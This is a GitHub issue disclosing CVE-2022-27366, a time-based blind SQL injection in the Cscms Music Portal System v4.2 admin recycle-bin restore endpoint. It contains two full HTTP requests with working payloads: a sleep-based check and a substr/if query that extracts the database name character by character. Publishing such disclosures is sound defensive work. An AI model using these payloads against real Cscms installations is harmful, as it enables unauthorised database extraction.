Headline
CVE-2022-27366: SQL injection vulnerability exists in Cscms music portal system v4.2 · Issue #13 · chshcms/cscms
Cscms Music Portal System v4.2 was discovered to contain a blind SQL injection vulnerability via the component dance_Dance.php_hy.
There is a SQL blind injection vulnerability in dance_Dance.php_hy****Details
Add a song after administrator login
Add songs first and then delete them into the trash
When restoring songs in the recycle bin, construct malicious statements and implement sql injection
GET /admin.php/dance/admin/dance/hy?id=10)and(sleep(5))--+ HTTP/1.1
Host: cscms.test
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://cscms.test/admin.php/dance/admin/dance?yid=3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA; cscms_session=r3kc74ivbu10hbssd9s03lqd0n1mu0g6
Connection: close
The parameter “id” exists time blind, sleeps for 5 seconds
construct payload
GET /admin.php/dance/admin/dance/hy?id=10)and(if(substr((select+database()),1,1)='c',sleep(5),1)--+ HTTP/1.1
Host: cscms.test
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://cscms.test/admin.php/dance/admin/dance?yid=3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA; cscms_session=r3kc74ivbu10hbssd9s03lqd0n1mu0g6
Connection: close
In the figure below, you can see that the first letter of the database is "c", so it sleeps for 5 seconds to verify that the injection exists
